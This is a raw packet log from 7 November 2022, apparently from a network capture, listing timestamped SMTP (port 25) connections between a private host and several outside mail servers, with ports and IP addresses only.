Nov 7, 2022 22:25:00.402301073 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402302027 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402317047 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402339935 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402340889 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402355909 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402371883 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402375937 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402411938 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402421951 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402440071 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402447939 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402451992 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402503014 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402517080 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402522087 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402535915 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402554989 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402573109 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402580023 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402599096 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402622938 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402630091 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402642965 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402681112 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402690887 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402698040 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402709007 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402729988 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402757883 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402759075 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402787924 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402805090 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402822018 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402837038 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.402849913 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402868986 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.402905941 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.403342962 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403388023 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403409004 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403425932 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403443098 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403459072 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403472900 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403489113 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403502941 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403517008 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403532028 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403549910 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403567076 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403583050 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403599977 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403616905 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403635025 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403651953 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403667927 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403683901 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403701067 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403717041 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403732061 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403770924 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403788090 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403803110 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.403817892 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.406181097 CET	49856	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:25:00.421899080 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:25:00.455965996 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456011057 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456042051 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456068039 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456094027 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456121922 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456155062 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456186056 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456459045 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456492901 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456523895 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456598997 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456702948 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456732035 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.456762075 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457860947 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457884073 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457901955 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457917929 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457933903 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457950115 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457964897 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457983017 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.457998991 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458014965 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458091974 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458110094 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458127022 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458182096 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458199024 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458214045 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458230019 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458245039 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458260059 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458288908 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458304882 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458331108 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458349943 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458368063 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458415031 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458434105 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458450079 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458535910 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458553076 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458569050 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458584070 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458651066 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458667994 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458684921 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458700895 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458718061 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458734035 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458750010 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458765984 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458781958 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458849907 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458868027 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458940029 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458956003 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458970070 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.458985090 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459033966 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459048986 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459064007 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459079027 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459096909 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459110022 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459121943 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459136963 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459153891 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459171057 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459312916 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459336042 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459355116 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459377050 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459395885 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459414959 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459431887 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459450006 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459467888 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459484100 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459501982 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459537983 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459558010 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459707022 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459729910 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459747076 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459764957 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459779978 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459794998 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459811926 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459830046 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459847927 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459866047 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459881067 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459897995 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459914923 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459930897 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459947109 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459959030 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459975958 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.459991932 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.460010052 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.460067987 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.460087061 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.460102081 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.525849104 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.526947021 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.557529926 CET	49854	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:25:00.557580948 CET	49856	25	192.168.2.5	198.252.153.129
Nov 7, 2022 22:25:00.580341101 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.584341049 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.584497929 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.585633993 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.585665941 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.585797071 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.639117956 CET	25	49853	142.250.150.26	192.168.2.5
Nov 7, 2022 22:25:00.639290094 CET	49853	25	192.168.2.5	142.250.150.26
Nov 7, 2022 22:25:00.644171953 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.644207001 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.644316912 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.644316912 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.644951105 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.644969940 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.644989014 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.645214081 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.651226044 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:00.651412010 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:00.702466965 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.702610016 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.703388929 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.703418970 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.703438044 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.703481913 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.703528881 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.704418898 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.704442978 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.704458952 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.704476118 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.704492092 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.704521894 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.704651117 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.704719067 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.705019951 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:00.705116987 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:00.760843039 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.760879993 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.760905027 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:00.760957956 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.761012077 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.761688948 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.761719942 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.761744976 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.761765957 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.761785030 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.761828899 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.761828899 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.761850119 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.762780905 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.762809992 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.762831926 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.762875080 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.762952089 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.762979031 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.763755083 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.763783932 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.763806105 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.763828039 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.763849020 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.763860941 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.763927937 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.763978004 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.764775038 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.764801025 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.764821053 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.764842033 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.783036947 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:00.819235086 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.819255114 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.819267988 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.820040941 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.820056915 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.820069075 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.820131063 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.820142984 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.821058035 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.821074009 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.821084976 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.821096897 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.821109056 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.821120977 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.821132898 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.822118044 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.822133064 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.822144032 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.822155952 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.822166920 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.822179079 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.823143959 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.823168993 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.823185921 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.823203087 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.824161053 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.824181080 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.824199915 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.824393988 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:00.837038994 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:00.840122938 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:00.840411901 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:00.882663012 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:00.894934893 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:00.895126104 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:00.953932047 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.017947912 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:01.018029928 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:01.093950033 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:01.094119072 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:01.134747982 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.134973049 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.153187037 CET	25	49855	94.100.180.31	192.168.2.5
Nov 7, 2022 22:25:01.153404951 CET	49855	25	192.168.2.5	94.100.180.31
Nov 7, 2022 22:25:01.188878059 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.189203024 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.220730066 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.279839039 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.279994011 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.323954105 CET	25	49858	74.125.200.26	192.168.2.5
Nov 7, 2022 22:25:01.324064970 CET	49858	25	192.168.2.5	74.125.200.26
Nov 7, 2022 22:25:01.333852053 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.382826090 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.437617064 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437654972 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437671900 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437684059 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437700033 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437716007 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437731028 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437745094 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437758923 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.437786102 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.438011885 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.438107967 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492028952 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492063046 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492086887 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492114067 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492140055 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492156029 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492156029 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492165089 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492196083 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492216110 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492244005 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492258072 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492258072 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492258072 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492270947 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492299080 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492306948 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492331982 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492333889 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492331982 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492360115 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492362022 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492379904 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492389917 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492413998 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492441893 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492441893 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492469072 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492472887 CET	49857	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:25:01.492495060 CET	25	49857	142.250.150.27	192.168.2.5
Nov 7, 2022 22:25:01.492495060 CET	49857	25	192.168.2.5	142.250.150.27
